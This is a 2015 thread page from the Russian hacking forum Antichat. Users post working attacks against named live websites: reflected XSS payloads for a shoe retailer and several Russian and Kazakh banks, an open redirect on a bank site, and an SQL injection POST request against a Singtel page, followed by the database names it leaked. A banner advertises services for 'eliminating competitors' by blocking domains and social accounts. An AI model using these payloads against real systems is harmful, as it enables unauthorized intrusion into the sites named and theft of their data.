Уязвимости SQLi, XSS и другие.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Уязвимости SQLi, XSS и другие.

Страница 17 из 35

« Первая

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#161

29.08.2015, 12:02

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Цитата:

Сообщение от SaNDER

↑
Target:http://www.ecco-shoes.ru/search

Type:XSS-Reflected

Описание: Переходим в любой раздел "Для мужчин/женщин" . Ищем поиск по артиклу и вбиваем в оба поля .

Код:

">alert('Hello') .

а также

Код:

www.ecco-shoes.ru/shops/?country=UNION SELECT 1,2,3,'alert('SIXSS')',5,6 --&region=Архангельская+область&town=Архангельск

Да и вообще на этом сайте много XSS .

последнее это что?

#162

29.08.2015, 14:24

ocheretko

Новичок

Регистрация: 15.05.2010

Сообщений: 0

С нами: 8417383

Репутация: 0

Это похоже просто на копипаст откудато.

Кстати этот сайт бомбили еще в 2008 году https://older.antichat.net/showpost....&postcount=273

#163

29.08.2015, 15:13

joelblack

Участник форума

Регистрация: 06.07.2015

Сообщений: 240

С нами: 5713526

Репутация: 145

target: http://www.kred-bank.ru

type: XSS Reflected

Строка поиска:

Код:

">alert('Hello')

#164

29.08.2015, 16:50

sander

Новичок

Регистрация: 14.06.2010

Сообщений: 0

С нами: 8374164

Репутация: 0

target : http://6dosug777.com/en/spb/forum/o...u-po-karmanu-raznyie-tsenovyie-kategor.9.html

Type:XSS-Reflected

Код:

'alert('SIXSS')

Там в самом внизу комментарии можно оставлять без всяких заполнений .

Сорри,я там нафлудил чуток) .

Скрипт можете вставить свой,я чисто для примера другой написал .

#165

29.08.2015, 17:07

sander

Новичок

Регистрация: 14.06.2010

Сообщений: 0

С нами: 8374164

Репутация: 0

Цитата:

Сообщение от ocheretko

↑
Это похоже просто на копипаст откудато.
Кстати этот сайт бомбили еще в 2008 году
https://older.antichat.net/showpost....&postcount=273

Ну может скопипастил,но не специально,т.к я просто рыскал по гуглу .

А последнее это та же XSS,но на крайняк может понадобиться .

#166

29.08.2015, 17:30

joelblack

Участник форума

Регистрация: 06.07.2015

Сообщений: 240

С нами: 5713526

Репутация: 145

target: http://sobinbank.ru/

type: Open Redirect

Код:

http://sobinbank.ru/bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=http://ya.ru

target: http://sinko-bank.ru

type: XSS Reflected

Строка поиска:

Код:

">alert('Hello')

#167

29.08.2015, 18:13

DDShadoww

Новичок

Регистрация: 14.07.2015

Сообщений: 11

С нами: 5702006

Репутация: 2

target:http://halykbank.kz

type: XSS-Reflected

Код HTML:

http://halykbank.kz/ru/search?q=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

#168

30.08.2015, 11:30

w0rm_

Новичок

Регистрация: 19.08.2015

Сообщений: 11

С нами: 5650166

Репутация: 8

Target:home.singtel.com

Type: SQL injection

Код:

http://home.singtel.com/include/tell_a_friend_process.asp 

POST:
segment_id_=awdpojawdpj&url_=awdz&page_title_=awd&email_sent_=xapt0x@xapk.ru' and 1=(select top 1 table_name from information_schema.tables)--&email_from_=aaw221&remark_=awdawd22&x=9&y=5 

singtelsgp 
singtelsgp-stag 
miotv-stag 
singtelmiotvstaffplan 
miotv-prd 
STSGP09-stag 
STSGP09 
ClickCounter 
STMIO-STAG 
STMIO 
uefa-phase1 
uefa-prod 
uefa-stag 
STSGP2011-stag-KIV 
STSGP2011-KIV 
race2011-stag 
race2011-prod 
singtelcorp2010new 
yog 
YOGWEBCAST 
STCON 
STBIZ 
singtel_3 
singtel_3_Monday1 
eids_sso 
accelerate 
browdb 
faceapp-stag 
faceapp-prod 
distis_agent 
miotv400k_prd